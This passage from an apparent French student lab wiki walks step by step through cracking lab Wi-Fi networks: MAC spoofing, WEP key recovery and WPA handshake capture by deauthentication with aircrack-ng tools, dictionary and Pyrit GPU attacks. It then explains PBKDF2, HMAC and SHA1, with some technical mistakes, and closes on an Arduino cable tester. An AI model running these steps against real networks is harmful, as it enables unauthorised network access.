Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un CiscoChecker permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
&lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX.&lt;br /&gt;
&lt;br /&gt;
Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
